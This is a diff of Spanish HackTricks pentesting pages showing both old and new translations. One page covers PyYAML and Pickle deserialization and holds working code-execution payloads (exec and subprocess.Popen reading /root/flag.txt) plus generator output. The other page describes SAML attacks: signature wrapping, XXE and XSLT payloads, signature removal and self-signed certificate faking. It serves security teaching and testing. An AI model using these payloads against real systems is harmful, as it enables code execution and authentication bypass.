Las versiones **antiguas** de pyyaml eran vulnerables a ataques de deserialización si **no se especificaba el Loader** al cargar algo: `yaml.load(data)`
|
||||
Las **versiones antiguas** de pyyaml eran vulnerables a ataques de deserialización si **no especificabas el Loader** al cargar algo: `yaml.load(data)`
|
||||
|
||||
Puede encontrar la [**descripción de la vulnerabilidad aquí**](https://hackmd.io/@defund/HJZajCVlP)**.** El **exploit** propuesto en esa página es:
|
||||
Puedes encontrar la [**descripción de la vulnerabilidad aquí**](https://hackmd.io/@defund/HJZajCVlP)**.** El **exploit** propuesto en esa página es:
|
||||
```yaml
|
||||
!!python/object/new:str
|
||||
state: !!python/tuple
|
||||
- 'print(getattr(open("flag\x2etxt"), "read")())'
|
||||
- !!python/object/new:Warning
|
||||
state:
|
||||
update: !!python/name:exec
|
||||
state:
|
||||
update: !!python/name:exec
|
||||
```
|
||||
O también puedes usar este **one-liner proporcionado por @ishaack**:
|
||||
O también puedes usar este **comando de una sola línea proporcionado por @ishaack**:
|
||||
```yaml
|
||||
!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}
|
||||
```
|
||||
Ten en cuenta que en **versiones recientes** ya no puedes **llamar a `.load()`** **sin un `Loader`** y el **`FullLoader`** ya no es vulnerable a este ataque.
|
||||
Ten en cuenta que en **versiones recientes** ya no puedes **llamar a `.load()`** **sin un `Loader`** y el **`FullLoader`** ya **no es vulnerable** a este ataque.
|
||||
|
||||
# RCE
|
||||
|
||||
Ten en cuenta que la creación de carga útil se puede hacer con **cualquier módulo YAML de Python (PyYAML o ruamel.yaml), de la misma manera**. La misma carga útil puede explotar tanto el módulo YAML como cualquier módulo basado en PyYAML o ruamel.yaml.
|
||||
Se pueden crear payloads personalizados utilizando módulos YAML de Python como **PyYAML** o **ruamel.yaml**. Estos payloads pueden explotar vulnerabilidades en sistemas que deserializan entradas no confiables sin una sanitización adecuada.
|
||||
```python
|
||||
import yaml
|
||||
from yaml import UnsafeLoader, FullLoader, Loader
|
||||
import subprocess
|
||||
|
||||
class Payload(object):
|
||||
def __reduce__(self):
|
||||
return (subprocess.Popen,('ls',))
|
||||
def __reduce__(self):
|
||||
return (subprocess.Popen,('ls',))
|
||||
|
||||
deserialized_data = yaml.dump(Payload()) # serializing data
|
||||
print(deserialized_data)
|
||||
|
|
@ -120,9 +118,9 @@ print(yaml.unsafe_load(deserialized_data))
|
|||
```
|
||||
## Herramienta para crear Payloads
|
||||
|
||||
La herramienta [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) se puede utilizar para generar payloads de deserialización de Python para abusar de **Pickle, PyYAML, jsonpickle y ruamel.yaml:**
|
||||
La herramienta [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) se puede utilizar para generar payloads de deserialización en Python para abusar de **Pickle, PyYAML, jsonpickle y ruamel.yaml:**
|
||||
```bash
|
||||
python3 peas.py
|
||||
python3 peas.py
|
||||
Enter RCE command :cat /root/flag.txt
|
||||
Enter operating system of target [linux/windows] . Default is linux :linux
|
||||
Want to base64 encode payload ? [N/y] :
|
||||
|
|
@ -130,7 +128,7 @@ Enter File location and name to save :/tmp/example
|
|||
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
|
||||
Done Saving file !!!!
|
||||
|
||||
cat /tmp/example_jspick
|
||||
cat /tmp/example_jspick
|
||||
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}
|
||||
|
||||
cat /tmp/example_pick | base64 -w0
|
||||
|
|
@ -139,26 +137,25 @@ gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSF
|
|||
cat /tmp/example_yaml
|
||||
!!python/object/apply:subprocess.Popen
|
||||
- !!python/tuple
|
||||
- cat
|
||||
- /root/flag.txt
|
||||
- cat
|
||||
- /root/flag.txt
|
||||
```
|
||||
# Referencias
|
||||
|
||||
Para obtener información más detallada sobre esta técnica, lee: [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
|
||||
* [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
|
||||
* [https://net-square.com/yaml-deserialization-attack-in-python.html](https://net-square.com/yaml-deserialization-attack-in-python.html)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -4,15 +4,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
|
@ -22,17 +22,13 @@ Otras formas de apoyar a HackTricks:
|
|||
[saml-basics.md](saml-basics.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Gráfico de Ataques
|
||||
|
||||
 (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (13).png>)
|
||||
|
||||
## Herramienta
|
||||
|
||||
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Una herramienta que puede tomar una URL o lista de URL y devuelve la URL de consumo de SAML.
|
||||
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Una herramienta que puede tomar una URL o lista de URL y devolver la URL de consumo de SAML.
|
||||
|
||||
## Viaje de ida y vuelta en XML
|
||||
## Viaje de ida y vuelta XML
|
||||
|
||||
En XML, la parte firmada del XML se guarda en memoria, luego se realiza alguna codificación/decodificación y se verifica la firma. Idealmente, esa codificación/decodificación no debería cambiar los datos, pero basándose en ese escenario, **los datos que se están verificando y los datos originales podrían no ser los mismos**.
|
||||
En XML, la parte firmada del XML se guarda en memoria, luego se realiza cierta codificación/decodificación y se verifica la firma. Idealmente, esa codificación/decodificación no debería cambiar los datos, pero basado en ese escenario, **los datos verificados y los datos originales podrían no ser los mismos**.
|
||||
|
||||
Por ejemplo, revisa el siguiente código:
|
||||
```ruby
|
||||
|
|
@ -49,102 +45,92 @@ puts "First child in original doc: " + doc.root.elements[1].name
|
|||
doc = REXML::Document.new doc.to_s
|
||||
puts "First child after round-trip: " + doc.root.elements[1].name
|
||||
```
|
||||
Ejecutar el programa contra REXML 3.2.4 o versiones anteriores resultaría en la siguiente salida en su lugar:
|
||||
Ejecutar el programa contra REXML 3.2.4 o anterior daría como resultado la siguiente salida en su lugar:
|
||||
```
|
||||
First child in original doc: Y
|
||||
First child after round-trip: Z
|
||||
```
|
||||
Así es como REXML vio el documento XML original del programa anterior:
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
Y así es como lo vio después de una ronda de análisis y serialización:
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
Para más información sobre la vulnerabilidad y cómo explotarla:
|
||||
Para obtener más información sobre la vulnerabilidad y cómo abusar de ella:
|
||||
|
||||
* [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
|
||||
* [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
|
||||
|
||||
## Ataques de Envoltura de Firma XML
|
||||
|
||||
Los documentos XML que contienen Firmas XML típicamente se **procesan en dos pasos independientes**: **validación de firma** y **invocación de función** (lógica de negocio). Si ambos módulos tienen diferentes perspectivas sobre los datos, existe una nueva clase de vulnerabilidades llamadas ataques de Envoltura de Firma XML (XSW).\
|
||||
En estos ataques, el **adversario** **modifica** la **estructura del mensaje** **inyectando** elementos **falsificados que no invalidan la Firma XML**. El objetivo de esta alteración es cambiar el mensaje de tal manera que la **lógica de la aplicación y el módulo de verificación de la firma usen diferentes partes del mensaje**. En consecuencia, el receptor verifica la Firma XML con éxito pero la lógica de la aplicación procesa el elemento falso. El **atacante así elude la protección de la integridad** y la autenticación de origen de la Firma XML y puede inyectar contenido arbitrario.
|
||||
En los **ataques de Envoltura de Firma XML (XSW)**, los adversarios explotan una vulnerabilidad que surge cuando los documentos XML son procesados en dos fases distintas: **validación de firma** e **invocación de función**. Estos ataques implican alterar la estructura del documento XML. Específicamente, el atacante **inyecta elementos falsificados** que no comprometen la validez de la Firma XML. Esta manipulación tiene como objetivo crear una discrepancia entre los elementos analizados por la **lógica de la aplicación** y los verificados por el **módulo de verificación de firma**. Como resultado, mientras la Firma XML sigue siendo técnicamente válida y pasa la verificación, la lógica de la aplicación procesa los **elementos fraudulentos**. En consecuencia, el atacante logra evadir la **protección de integridad** y **autenticación de origen** de la Firma XML, lo que permite la **inyección de contenido arbitrario** sin ser detectado.
|
||||
|
||||
Del pedido SAML:
|
||||
|
||||
.png>)
|
||||
Los siguientes ataques se basan en **[esta publicación de blog](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) y [este documento](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)**. Por lo tanto, consulta esos recursos para más detalles.
|
||||
|
||||
### XSW #1
|
||||
- **Estrategia**: Se agrega un nuevo elemento raíz que contiene la firma.
|
||||
- **Implicación**: El validador puede confundirse entre el "Response -> Assertion -> Subject" legítimo y el "nuevo Response -> Assertion -> Subject" del atacante, lo que lleva a problemas de integridad de datos.
|
||||
|
||||
Un atacante puede **añadir un nuevo elemento raíz donde se encuentra la firma**. Por lo tanto, cuando el validador verifica la integridad de la firma, puede notar que ha **verificado** la **integridad** de **Response -> Assertion -> Subject**, y podría confundirse con la **nueva ruta maliciosa Response -> Assertion -> Subject** en rojo y usar sus datos.
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
### XSW #2
|
||||
- **Diferencia de XSW #1**: Utiliza una firma desvinculada en lugar de una firma envolvente.
|
||||
- **Implicación**: La estructura "maliciosa", similar a XSW #1, tiene como objetivo engañar a la lógica empresarial después de la verificación de integridad.
|
||||
|
||||
La diferencia con el #1 es que el tipo de Firma utilizada es una **firma desligada** donde XSW #1 usó una firma envolvente.\
|
||||
Nota cómo la nueva estructura maliciosa es la misma que antes tratando de confundir la lógica de negocio después de que se realizó la verificación de integridad.
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
### XSW #3
|
||||
- **Estrategia**: Se crea una Assertion maliciosa en el mismo nivel jerárquico que la assertion original.
|
||||
- **Implicación**: Pretende confundir a la lógica empresarial para que utilice los datos maliciosos.
|
||||
|
||||
En este ataque se crea una **Assertion maliciosa al mismo nivel** que la original para intentar confundir la lógica de negocio y usar los datos maliciosos.
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
### XSW #4
|
||||
- **Diferencia de XSW #3**: La Assertion original se convierte en hija de la Assertion duplicada (maliciosa).
|
||||
- **Implicación**: Similar a XSW #3 pero altera la estructura XML de manera más agresiva.
|
||||
|
||||
XSW #4 es similar al #3, excepto que en este caso la **Assertion original se convierte en hija** de la Assertion copiada.
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
### XSW #5
|
||||
- **Aspecto Único**: Ni la Firma ni la Assertion original siguen configuraciones estándar (envolvente/desvinculada).
|
||||
- **Implicación**: La Assertion copiada envuelve la Firma, modificando la estructura del documento esperada.
|
||||
|
||||
En XSW #5 la Firma y la Assertion original no están en una de las tres configuraciones estándar (envuelta/envolvente/desligada). En este caso, la Assertion copiada envuelve la Firma.
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
### XSW #6
|
||||
- **Estrategia**: Inserción de ubicación similar a XSW #4 y #5, pero con un giro.
|
||||
- **Implicación**: La Assertion copiada envuelve la Firma, que luego envuelve la Assertion original, creando una estructura engañosa anidada.
|
||||
|
||||
XSW #6 inserta su Assertion copiada en la misma ubicación que los números 4 y 5. Lo interesante aquí es que la Assertion copiada envuelve la Firma, que a su vez envuelve la Assertion original.
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
### XSW #7
|
||||
- **Estrategia**: Se inserta un elemento Extensions con la Assertion copiada como hijo.
|
||||
- **Implicación**: Esto explota el esquema menos restrictivo del elemento Extensions para evadir contramedidas de validación de esquema, especialmente en bibliotecas como OpenSAML.
|
||||
|
||||
XSW #7 inserta un elemento **Extensions** y añade la **Assertion** copiada como **hija**. Extensions es un elemento XML válido con una **definición de esquema menos restrictiva**. Los autores de este [white paper](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf) desarrollaron este método en respuesta a la biblioteca OpenSAML. OpenSAML utilizaba la validación de esquema para comparar correctamente el ID utilizado durante la validación de la firma con el ID de la Assertion procesada. Los autores encontraron que en casos donde las Assertions copiadas con el mismo ID de la Assertion original eran hijas de un elemento con una definición de esquema menos restrictiva, lograron eludir esta contramedida en particular.
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
### XSW #8
|
||||
- **Diferencia de XSW #7**: Utiliza otro elemento XML menos restrictivo para una variante del ataque.
|
||||
- **Implicación**: La Assertion original se convierte en hija del elemento menos restrictivo, invirtiendo la estructura utilizada en XSW #7.
|
||||
|
||||
XSW #8 utiliza otro elemento XML **menos restrictivo** para realizar una variación del patrón de ataque utilizado en XSW #7. Esta vez, la Assertion original es la hija del elemento menos restrictivo en lugar de la Assertion copiada.
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
### Herramienta
|
||||
|
||||
Puedes usar la extensión de Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) para analizar el pedido, aplicar cualquier ataque XSW que elijas y lanzarlo.
|
||||
|
||||
.png>)
|
||||
|
||||
### Paper Original
|
||||
|
||||
Para más información sobre este ataque lee el paper original en [https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)
|
||||
Puedes utilizar la extensión de Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) para analizar la solicitud, aplicar cualquier ataque XSW que elijas y lanzarlo.
|
||||
|
||||
## XXE
|
||||
|
||||
Si no sabes qué tipo de ataques son XXE, por favor lee la siguiente página:
|
||||
Si no sabes qué tipo de ataques son los XXE, por favor lee la siguiente página:
|
||||
|
||||
{% content-ref url="../xxe-xee-xml-external-entity.md" %}
|
||||
[xxe-xee-xml-external-entity.md](../xxe-xee-xml-external-entity.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Debido a que las Respuestas SAML son documentos XML deflactados y codificados en base64, podemos probar **XXE** manipulando el documento XML enviado como la Respuesta SAML. Ejemplo:
|
||||
```markup
|
||||
Las respuestas SAML son **documentos XML comprimidos y codificados en base64** y pueden ser susceptibles a ataques de Entidad Externa XML (XXE). Al manipular la estructura XML de la respuesta SAML, los atacantes pueden intentar explotar vulnerabilidades de XXE. Así es como se puede visualizar un ataque de este tipo:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ELEMENT foo ANY >
|
||||
|
|
@ -161,26 +147,24 @@ Debido a que las Respuestas SAML son documentos XML deflactados y codificados en
|
|||
<ds:SignatureValue>...</ds:SignatureValue>
|
||||
[...]
|
||||
```
|
||||
### Herramienta
|
||||
## Herramientas
|
||||
|
||||
También puedes usar la extensión de Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) para generar el POC a partir de una solicitud SAML para probar posibles vulnerabilidades XXE.
|
||||
También puedes utilizar la extensión de Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) para generar la POC a partir de una solicitud SAML para probar posibles vulnerabilidades de XXE y vulnerabilidades de SAML.
|
||||
|
||||
Consulta también esta charla: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
||||
|
||||
## XSLT a través de SAML
|
||||
|
||||
Para más información sobre XSLT, visita:
|
||||
Para obtener más información sobre XSLT, ve a:
|
||||
|
||||
{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
|
||||
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
La Transformación de Lenguaje de Hojas de Estilo Extensible (XSLT) es un lenguaje completo de Turing para transformar documentos XML en otros tipos de documentos como HTML, JSON o PDF. Un aspecto importante a tener en cuenta aquí es que **el ataque no requiere una firma válida para tener éxito**. La razón de esto es que **la transformación XSLT ocurre antes de que la firma digital sea procesada para su verificación**. Básicamente, necesitamos una Respuesta SAML firmada para realizar el ataque, pero la firma puede ser auto-firmada o inválida.
|
||||
Las Transformaciones de Lenguaje de Hoja de Estilo Extensible (XSLT) se pueden utilizar para transformar documentos XML en varios formatos como HTML, JSON o PDF. Es crucial tener en cuenta que **las transformaciones XSLT se realizan antes de la verificación de la firma digital**. Esto significa que un ataque puede tener éxito incluso sin una firma válida; una firma autofirmada o inválida es suficiente para proceder.
|
||||
|
||||
|
||||
|
||||
Aquí puedes encontrar un **POC** para comprobar este tipo de vulnerabilidades, en la página de hacktricks mencionada al principio de esta sección puedes encontrar payloads.
|
||||
```markup
|
||||
Aquí puedes encontrar una **POC** para verificar este tipo de vulnerabilidades, en la página de hacktricks mencionada al principio de esta sección puedes encontrar payloads.
|
||||
```xml
|
||||
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
|
||||
...
|
||||
<ds:Transforms>
|
||||
|
|
@ -201,80 +185,86 @@ Aquí puedes encontrar un **POC** para comprobar este tipo de vulnerabilidades,
|
|||
```
|
||||
### Herramienta
|
||||
|
||||
También puedes usar la extensión de Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) para generar el POC a partir de una solicitud SAML para probar posibles vulnerabilidades XSLT.
|
||||
También puedes utilizar la extensión de Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) para generar la POC a partir de una solicitud SAML para probar posibles vulnerabilidades XSLT.
|
||||
|
||||
Consulta también esta charla: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
||||
|
||||
## Exclusión de Firma XML <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
|
||||
|
||||
La Exclusión de Firma se utiliza para probar cómo se comporta la implementación de SAML cuando **no hay un elemento Signature**. Cuando un elemento Signature está **ausente**, el **paso de validación de la firma puede omitirse completamente**. Si la firma no se valida, entonces cualquier contenido que típicamente estaría firmado puede ser alterado por un atacante.
|
||||
La **Exclusión de Firma XML** observa el comportamiento de las implementaciones de SAML cuando el elemento de Firma no está presente. Si falta este elemento, **la validación de la firma puede no ocurrir**, lo que lo hace vulnerable. Es posible probar esto alterando los contenidos que suelen ser verificados por la firma.
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
### Herramienta <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
|
||||
|
||||
La exclusión de firma comienza interceptando la Respuesta SAML y luego haciendo clic en `Remove Signatures`. Al hacerlo, se eliminan **todos** los elementos Signature.
|
||||
También puedes utilizar la extensión de Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Intercepta la Respuesta SAML y haz clic en `Remove Signatures`. Al hacerlo, se eliminan **todos** los elementos de firma.
|
||||
|
||||
|
||||
Con las firmas eliminadas, permite que la solicitud avance hacia el objetivo. Si la firma no es requerida por el Servicio
|
||||
|
||||
Con las firmas eliminadas, permite que la solicitud proceda al destino. Si la firma no es requerida por el Servicio
|
||||
## Falsificación de Certificado <a href="#certificate-faking" id="certificate-faking"></a>
|
||||
|
||||
## Falsificación de Certificados <a href="#certificate-faking" id="certificate-faking"></a>
|
||||
La Falsificación de Certificado es una técnica para probar si un **Proveedor de Servicios (SP) verifica correctamente que un Mensaje SAML está firmado** por un Proveedor de Identidad de confianza (IdP). Implica usar un ***certificado autofirmado** para firmar la Respuesta o Aserción SAML, lo que ayuda a evaluar el proceso de validación de confianza entre SP e IdP.
|
||||
|
||||
La falsificación de certificados es el proceso de probar si el Proveedor de Servicios **verifica que un Proveedor de Identidad de confianza firmó el Mensaje SAML.** La relación de confianza entre SP e IdP se establece y **debe ser verificada** cada vez que se recibe un Mensaje SAML. Esto se reduce a usar un certificado **auto-firmado** para firmar la Respuesta SAML o la Afirmación.
|
||||
### Cómo Realizar la Falsificación de Certificado
|
||||
Los siguientes pasos describen el proceso utilizando la extensión de Burp [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e):
|
||||
|
||||
### Herramienta <a href="#certificate-faking-how-to" id="certificate-faking-how-to"></a>
|
||||
|
||||
Se va a utilizar la extensión de Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e).\
|
||||
Para falsificar un certificado, comienza interceptando la Respuesta SAML.\
|
||||
Si hay una firma incluida en la Respuesta, usa el botón `Send Certificate to SAML Raider Certs`.
|
||||
|
||||
|
||||
|
||||
Después de enviar el certificado, deberíamos ver un certificado importado en la pestaña Certificados de SAML Raider. Una vez allí, destacamos el certificado importado y presionamos el botón `Save and Self-Sign`.
|
||||
|
||||
|
||||
|
||||
Al hacerlo, se genera un clon auto-firmado del certificado original. Ahora es el momento de volver a la solicitud interceptada que aún se mantiene en el Proxy de burp. Primero, selecciona el nuevo certificado auto-firmado del menú desplegable de Firma XML. Luego usa el botón `Remove Signatures` para eliminar cualquier firma existente. Finalmente, usa el botón **`(Re-)Sign Message`** o `(`**`Re-)Sign Assertion`** (**cualquiera** que sea **más** **apropiado** en tu situación dada).
|
||||
|
||||
|
||||
|
||||
Después de firmar el mensaje con el certificado auto-firmado, envíalo. Si nos autenticamos, sabemos que podemos firmar nuestros Mensajes SAML. La capacidad de firmar nuestros Mensajes SAML significa que podemos cambiar valores en la Afirmación y serán aceptados por el Proveedor de Servicios.
|
||||
1. Intercepta la Respuesta SAML.
|
||||
2. Si la respuesta contiene una firma, envía el certificado a SAML Raider Certs usando el botón `Send Certificate to SAML Raider Certs`.
|
||||
3. En la pestaña Certificados de SAML Raider, selecciona el certificado importado y haz clic en `Save and Self-Sign` para crear un clon autofirmado del certificado original.
|
||||
4. Regresa a la solicitud interceptada en el Proxy de Burp. Selecciona el nuevo certificado autofirmado desde el menú desplegable de Firma XML.
|
||||
5. Elimina cualquier firma existente con el botón `Remove Signatures`.
|
||||
6. Firma el mensaje o la aserción con el nuevo certificado usando el botón **`(Re-)Sign Message`** o **`(Re-)Sign Assertion`**, según corresponda.
|
||||
7. Reenvía el mensaje firmado. La autenticación exitosa indica que el SP acepta mensajes firmados por tu certificado autofirmado, revelando posibles vulnerabilidades en el proceso de validación de los mensajes SAML.
|
||||
|
||||
## Confusión del Destinatario del Token / Confusión del Objetivo del Proveedor de Servicios <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
|
||||
|
||||
La Confusión del Destinatario del Token / Confusión del Objetivo del Proveedor de Servicios **prueba si el Proveedor de Servicios valida el Destinatario**. Esto significa que, **si la respuesta estaba destinada a un Proveedor de Servicios diferente**, el Proveedor de Servicios **actual** debería notarlo y **rechazar la autenticación**.\
|
||||
El campo **Recipient** es un atributo del elemento **SubjectConfirmationData**, que es hijo del elemento Subject en una Respuesta SAML.
|
||||
La Confusión del Destinatario del Token y la Confusión del Objetivo del Proveedor de Servicios implican verificar si el **Proveedor de Servicios valida correctamente el destinatario previsto de una respuesta**. En esencia, un Proveedor de Servicios debería rechazar una respuesta de autenticación si estaba destinada a otro proveedor. El elemento crítico aquí es el campo **Recipient**, que se encuentra dentro del elemento **SubjectConfirmationData** de una Respuesta SAML. Este campo especifica una URL que indica dónde debe enviarse la Aserción. Si el destinatario real no coincide con el Proveedor de Servicios previsto, la Aserción debería considerarse inválida.
|
||||
|
||||
> El elemento SubjectConfirmationData especifica datos adicionales que permiten confirmar al sujeto o restringen las circunstancias bajo las cuales puede tener lugar el acto de confirmación del sujeto. La confirmación del sujeto tiene lugar cuando una parte confiable busca verificar la relación entre una entidad que presenta la afirmación (es decir, la entidad que atestigua) y el sujeto de las reclamaciones de la afirmación.
|
||||
#### **Cómo Funciona**
|
||||
|
||||
El atributo Recipient encontrado en el elemento **SubjectConfirmationData es una URL que especifica la ubicación a la que se debe entregar la Afirmación**. Si el Recipient es un Proveedor de Servicios diferente al que lo recibe, la Afirmación no debería ser aceptada.
|
||||
